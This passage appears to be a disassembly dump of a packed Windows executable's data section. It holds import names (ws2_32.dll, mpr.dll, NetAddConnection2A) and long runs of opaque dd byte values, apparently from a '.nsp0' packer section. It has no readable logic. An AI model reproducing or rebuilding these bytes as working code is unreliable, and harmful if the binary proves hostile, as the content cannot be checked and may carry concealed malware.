		db  6Dh	; m
		db 70h,	72h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  77h	; w
		db 73h,	32h, 5Fh
		db  33h	; 3
		db 32h,	2Eh, 64h
		db  6Ch	; l
		db 6Ch,	0, 6Fh
		db  6Ch	; l
		db 65h,	61h, 75h
		db  74h	; t
		db 33h,	32h, 2Eh
		db  64h	; d
		db 2 dup(6Ch), 0
		db  6Bh	; k
		db 65h,	72h, 6Eh
		db  65h	; e
		db 6Ch,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
		db 7Fh,	51h, 0B2h
		db  71h	; q
		align 4
		db    0
		db 0C9h, 46h, 0ABh
		db  71h	; q
		align 4
		db    0
		db 0EAh, 6Ah, 12h
		db  77h	; w
		align 4
		db    0
		db 9, 2Ah, 81h
		db  7Ch	; |
		align 4
		db    0
		db 2 dup(0), 57h
aNetaddconnecti	db 'NetAddConnection2A',0
		align 4
		db    0
aVariantchanget	db 'VariantChangeTypeEx',0
		db 2 dup(0), 52h
aAiseexception	db 'aiseException',0
		align 4
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
		dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
		dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
		dd 68288F00h, 3D800301h
dword_4E414C	dd 65700041h, 230A7E16h, 5D000713h, 6F8861EFh, 0F8729EB5h
					; DATA XREF: .nsp0:off_442420o
		dd 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h, 841A0650h
		dd 0EFB8002Fh, 5159D85h, 0C900330Eh, 0F482C080h, 173D2A40h
		dd 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h, 52805C6h
		dd 0EA0014Ah, 8CF5005Ah, 6D68100Ah, 87299707h, 0C3800F51h
		dd 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h, 53001BC4h, 86C8E74Ch
		dd 3CC840Fh, 21D2A4D5h,	0C7971A4Ah, 0E068815Eh,	1291F0A1h
		dd 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah,	0A63D51D5h
		dd 0E4B52EB3h, 39FE601h, 61B88993h, 117FDE4h, 153E3238h
		dd 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h, 80290A52h
		dd 5BDBC2E4h, 537CE080h, 0A17C051Ch, 83390980h,	0B1528h
		dd 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h,	0B79C985h
		dd 0C183031Ch, 240968Eh, 0CD97D2D5h, 0EBF48100h, 51174A24h
		dd 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h, 752D709h
		dd 938C9D66h, 4AB590EBh, 0C100ED80h, 0EE030772h, 70FCF0Ch
		dd 8112C216h, 7518F0FAh, 10009EE8h, 31185B9h, 0A08E534Fh
		dd 1CA40BEh, 97F0E983h,	0C401761Ch, 7C0010FAh, 703C70Fh
		dd 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h, 0C981428Ah
		dd 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh, 4EA83D0h
		dd 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h,	3CAC0B00h
		dd 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h, 13010D84h,	4A522A0Bh
		dd 0A7701C0Ah, 4DB8C2h,	4D08B1FEh, 0E1339048h, 9149200h
		dd 31742506h, 47F2Ah, 0A154B0DAh, 0AE802B64h, 1133C800h
		dd 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h, 72E0A746h
		dd 0C62B0800h, 58EB703Bh, 8806001Eh, 2B64FE8h, 0DE00030Bh
		dd 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h, 3E5A250Bh
		dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h,	4600FC32h
		dd 8316A008h, 0FE7A23h,	0B02CC74Bh, 0B20994F8h,	13B34503h
		dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h
		dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h
		dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h,	822CF4h
		dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 705AF813h
		dd 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h, 0F82CEF9Eh
		dd 1B00060h, 489C5A59h,	30006BE9h, 7389DFA0h, 2C0239BAh
		dd 0D3C603h, 14095C1h, 990EFE81h, 0A137984Eh, 359AD285h
		dd 0FAC2F4h, 4D2E4C9Bh,	0A5F49009h, 4410BC00h, 1D5C890Dh
		dd 25B0013h, 3AEB1B87h,	431FE369h, 0C3001296h, 0E6BF5A92h
		dd 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch, 84EF0017h
		dd 1CCD1D33h, 0AE2E4BB3h, 1FC20057h, 0EA7E1180h, 8E099200h
		dd 836252FDh, 0EB210307h, 1441A12Bh, 0B930C8C0h, 84421500h
		dd 7448C51h, 591913CAh,	0A8870EAFh, 78962640h, 6B050969h
		dd 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h, 8CE30835h
		dd 468240FFh, 521D7C3Bh, 0D8400712h, 5FE82606h,	297B0099h
		dd 4470119h, 9D030320h,	7449F30Bh, 0C63FC824h, 0E8170781h
		dd 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h,	5EDF6Dh
		dd 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h, 0C96C0094h
		dd 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h, 0D7396C4h
		dd 22075CAh, 73A905Ch, 0BEC6490Ch, 8DCC5EF0h, 2E527FE1h
		dd 1C2FBAAh, 94B60CAh, 2E8FC882h, 8E90A23Bh, 0A03D02F8h
		dd 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h,	0EAC55E03h
		dd 98CDA984h, 0BF1620h,	0BD0B8291h, 0D4E19B80h,	775C5375h
		dd 0B184007Fh, 881F1728h, 4C7E006Ch, 19920B7Bh,	7F1F31D7h
		dd 0EBC38E43h, 90281F42h, 79F4BB74h, 16630026h,	67D10DE4h
		dd 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah, 0F6D87AE9h
		dd 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h, 4538153Dh
		dd 0C400B3FEh, 288C3501h, 7AD9B1D6h, 0F30A024Bh, 4432CEEEh
		dd 4C515160h, 3E66F51Dh, 0B0C0BC1Dh, 5658B61h, 0D33C0074h
		dd 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch, 73D69DAh
		dd 15CAD33h, 4E0E6A00h,	645D4B7Eh, 559500D4h, 172DB68Dh
		dd 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh, 0C9F4D5FAh
		dd 2DE07B62h, 26006920h, 17210231h, 24C3838Eh, 53EEDCh
		dd 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h, 3A50577Eh
		dd 3201528Fh, 0D0061065h, 45DCA6D7h, 983D00E7h,	0AF0E026h
		dd 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h,	0B79BE40h
		dd 4677E800h, 7AF68B81h, 0E9100008h, 0CB0126C3h, 0C903C8CCh
		dd 0CDD0CFD7h, 0D8DB80CEh, 0DAD900CAh, 0EDEDDDCh, 0E100E0DFh
		dd 0E5E405E3h, 505890h,	2EA85152h, 0C584B883h, 5ABC3Eh
		dd 0C031B244h, 154C966h, 428F1E50h, 0DD105180h,	8BD2F80Fh
		dd 110388F8h, 6905489h,	1F91D0C8h, 0C65F00CBh, 3916D7D8h
		dd 770009F7h, 602F7413h, 2A7829h, 0F8A5F33Fh, 3E1831Dh
		dd 18A4D207h, 0E177431h, 7C3AFC30h, 1950000Fh, 1AFD5311h
		dd 6600CB58h, 6941C706h, 728143FCh, 4C4000Ch, 5086092Fh
		dd 0EB391290h, 8A0FFF01h, 0E0D14003h, 0F576203Ch, 3B800007h
		dd 530B7522h, 0CE2017Bh, 0C50558h, 34E6EB02h, 4FE255Fh
		dd 1B1CC7FAh, 88508043h, 62070414h, 84135640h, 0DDD21B1h
		dd 2E58F0D8h, 0ACD2C3h,	8028D818h, 9C7F3D07h, 0CD7C8B00h
		dd 20CE5F61h, 42B700F5h, 14D66A27h, 800EE25h, 0C2F81CCBh
		dd 788977h, 681E34E0h, 2C0B055Dh, 92148D03h, 0C022B050h
		dd 0C88B88h, 3AC677CAh,	0EE1EEB8Eh, 3513F300h, 0DD3DB55Bh
		dd 0B460216h, 0F4E4D268h, 4B0F5040h, 0D5E9EB0Fh, 0CA63209Eh
		dd 1DAF5CE0h, 40F2E80Eh, 73410C72h, 0B7E00F67h,	6BF04500h
		dd 3663CC0h, 0D2F23EEEh, 40401E9Ch, 1F4558Bh, 0F60169D0h
		dd 178A38E8h, 0E0DE1964h, 483C0533h, 0E500384Bh, 8378825Dh
		dd 0DF0108ECh, 589B8EC0h, 6CC85A5Fh, 5B0C001Eh,	2DA31BD9h
		dd 0FD0092A4h, 33285CDFh, 13FA2C16h, 1CA959h, 0AB81C735h
		dd 0D90F078Ah, 67A2BBD6h, 0D0009816h, 381272h, 0E7F77C8h
		dd 88AAD160h, 1470700h,	0DE7AD748h, 2AC80481h, 80F7760Fh
		dd 0E80CEB87h, 0C949B500h, 0A668A64h, 62410068h, 0C131A990h
		dd 0E01F94E9h, 55C02203h, 51082027h, 0F6CE0BF4h, 0B40013EEh
		dd 80A61C26h, 0D9391A03h, 0F84E4575h, 23DB815h,	5A73E1B0h
		dd 92801BCBh, 0C21CE5DBh, 454EDE00h, 0D606EBE2h, 3A1672E6h
		dd 0F0FE5Eh, 8A367403h,	750A3A08h, 54306700h, 1489313h
		dd 9F4A00D3h, 401625B6h, 83780208h, 311AB200h, 0B3B9D7D4h
		dd 107A0138h, 0CF3FDA3h, 80FAB93Dh, 21D64EBh, 903119h
		dd 0CD88BB51h, 10E08650h, 0CD46600h, 83184CB2h,	0ABF33B09h
		dd 86311200h, 24405FAAh, 0F156900h, 8840541h, 89B202C7h
		dd 0E2F70BA2h, 0B04C3AE0h, 1452480Eh, 0CF26403Eh, 99036Fh
		dd 9229D031h, 0F2FB5AB9h, 190DB00h, 96F1F728h, 0F8300048h
		dd 0C7431C17h, 8003BE03h, 0C6057DF6h, 0FA2DE804h, 1F170088h
		dd 0F9018B47h, 0FFE68114h, 844F852Eh, 2307B90Eh, 7B97D929h
		dd 0B0A3000Ah, 8AD20F20h, 12001C44h, 754B2B42h,	0AD41F6h
		dd 51B82318h, 0E9968F82h, 2F9CB300h, 0CC2CAC33h, 94CE1D50h
		dd 0C6634773h, 20190BFh, 1E018A0Ch, 70FB8046h, 0B5CCF8D7h
		dd 2D0E03CEh, 2B0A69ECh, 248166D0h, 0FE78080Eh,	0FD58C061h
		dd 0F30025Ch, 28ACCBE2h, 26844FE1h, 623CC4Ah, 4EB2000h
		dd 0EE347F0Dh, 24C02630h, 392C0093h, 3F28E8F8h,	1C048D0Fh
		dd 0D89BC001h, 1340555h, 0CDFEE675h, 0F8D4E486h, 5905127Ch
		dd 3289F631h, 90461780h, 7703486Ah, 78F07E00h, 0DE29D9EEh
		dd 0FE00EC71h, 0E451C56Eh, 48ACBFBCh, 32008E1Fh, 92DF7430h
		dd 3007261h, 5420A2CAh,	0EA0B7643h, 1F110010h, 4CD07705h
		dd 0BF010AC3h, 565A90C9h, 0D5C05D04h, 1A97DEBh,	0FAFFB150h
		dd 0C0427D2Ah, 70074EDh, 0FE288840h, 7512C9h, 3C1E5AF2h
		dd 6C430253h, 7301FA00h, 90517497h, 8B440035h, 0ECF85442h
		dd 52005D36h, 195A8C68h, 0FE570926h, 0EB84Ah, 0FF1250A9h
		dd 0D32BF03h, 1B48AC04h, 35C0C69Fh, 0BFC5C14h, 8C7C3D74h
		dd 4C08F000h, 2F00B859h, 8304D250h, 2E01F835h, 0CD290Eh
		dd 900B1B22h, 0AC0325FFh, 338B4C79h, 6350E0DBh,	50C741Ah
		dd 1C753E07h, 701D802Ah, 91009225h, 0D41A1B0h, 3F29845h
		dd 161F4C22h, 0A09801B3h, 0F4004028h, 57037B0h,	0B847604Fh
		dd 8D736Fh, 6A6250FCh, 0F6386886h, 653A652Eh, 6BE84700h
		dd 378323Fh, 5511E04Dh,	2DA06168h, 3000FF64h, 1B2089CCh
		dd 0F445C7h, 0EE608691h, 0F808CB50h, 69C52C00h,	0AC8B8954h
		dd 34E683h, 8AEAA267h, 63C41618h, 0E0985200h, 0A16628EFh
		dd 25EC0071h, 97FFC02Ch, 8700F89Fh, 0C33FE283h,	0EFBC20Bh
		dd 9C2A59A3h, 4F53003Ch, 41575446h, 450052E0h, 726F425Ch
		dd 4C3C616Ch, 44003C6Eh, 6870C765h, 5200F169h, 46C04C54h
		dd 550350h, 6B73614Dh, 756CA056h, 94653Dh, 2AE3C38Bh, 12C3AB7h
		dd 60D7C7ACh, 2031D470h, 0E1D8A20h, 0AE408D41h,	93AECFAh
		dd 3FE800D8h, 58C2F748h, 1BEAE913h, 0DE747703h,	90751ED3h
		dd 77BBC36h, 0DC4A76FAh, 0E8075001h, 0AE1E2D37h, 0F6479C45h
		dd 0BE50E975h, 0C6C831h, 0A46B5C54h, 49AC08F3h,	0D3009AB0h
		dd 3C0C141Ch, 2B980Fh, 8F64121Dh, 92780551h, 0E03E307Eh
		dd 19A2004Ah, 2379DDD0h, 0C5942E96h, 0B2DA043Fh, 51318001h
		dd 6C034BFCh, 0ABD7CB02h, 41D8B88Bh, 120FADAh, 65580DDBh
		dd 0E859247Ah, 63020E6Bh, 0B82CE24Ch, 1C1E096h,	5B0D0351h
		dd 706731FEh, 0EBD81BC3h, 0D47539EDh, 8DE1D2Eh,	1C006F2Eh
		dd 3EA6734Ch, 6BE00F6h,	0C827B2Ch, 207F3834h, 75493700h
		dd 0A8E3453Bh, 0C9D90154h, 3981DB10h, 1A9AECD0h, 407578F4h
		dd 4BC3F300h, 57A821B0h, 596A0093h, 38D0684Ch, 0D1C247Dh
		dd 510039D3h, 6602C783h, 0F8AF00F2h, 6459550Ah,	0C3007F8Bh
		dd 290B0358h, 35CF0C8h,	96F7FC47h, 44C0B891h, 1126D480h
		dd 2401303Ch, 1A1C8F53h, 0F69009E8h, 0A5F0217h,	1886C0DEh
		dd 67E8E740h, 58FCA912h, 0D905A300h, 0E1FF5Bh, 0A5089F0Eh
		dd 0E802F061h, 53515200h, 818FF689h, 0F4500084h, 1058E012h
		dd 6E7E6463h, 69911900h, 60F57108h, 0DF2D000Fh,	0CA43B8Eh
		dd 0A0002FBh, 405A595Bh, 91E3FF0h, 2C45FC9Eh, 90C1300h
		dd 22000E74h, 4950811Dh, 23581Eh, 47257531h, 8BF09821h
		dd 0FF131000h, 2895F852h, 0E4090007h, 7FBAAC58h, 0EF00D4A3h
		dd 0E8060EAAh, 0E0759Dh, 43D8012h, 7601E141h, 0C26A1000h
		dd 0DF056B66h, 4FED48FAh, 359C1200h, 0C11C24CCh, 0F516DB2Ch
		dd 6A546200h, 3423D02h,	0A30C92E4h, 99D99808h, 147670D1h
		dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h,	77EA064h
		dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h,	8A983DE9h
		dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h
		dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah
		dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh,	53E31E88h
		dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h
		dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh,	0A41B5Fh
		dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh,	8B2507E6h
		dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh
		dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h
		dd 0EE2439h, 0A2BAAEBh,	0CAEE7B30h, 0FBE20C00h,	3B920BBAh
		dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh
		dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh,	0A54161E6h
		dd 0FA1EBB60h
		dd 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h, 0B0FF0EE7h
		dd 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh, 512D9Fh
		dd 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h, 0E891127h
		dd 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h, 4586EC8h
		dd 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah,	9E62B9h
		dd 2C444D42h, 2189084Eh, 67017F70h, 718D0559h, 0C5EC3D09h
		dd 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h, 48041h
		dd 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h,	189093Eh
		dd 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch, 4B08C683h
		dd 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h, 0E992F88Dh
		dd 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h, 6CF11E42h
		dd 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h,	8F92899Ah
		dd 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h, 87BE1h
		dd 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh, 2208306Ah
		dd 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah, 53A05755h
		dd 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh, 6AA0C730h
		dd 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h,	39FD0004h
		dd 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h, 1C0648DFh
		dd 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah, 0C664955Ah
		dd 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h, 4D588038h
		dd 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h, 3F1FFC5h
		dd 3854491Ch, 86E97282h, 92836048h, 0C0070020h,	5C742C7Fh
		dd 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh,	483D1ECFh
		dd 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h, 52E130E7h
		dd 43963D00h, 3814112Ah, 93762Dh, 13462E33h, 0EB24060Fh
		dd 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h,	1E2A40C8h
		dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h
		dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh
		dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h
		dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h
		dd 1D90836h, 72F65232h,	0EC3B8189h, 300053D0h, 1817438Fh
		dd 12381D74h, 0BCFB82h,	0B1D889ABh, 0B600EF84h,	4BFA4419h
		dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h
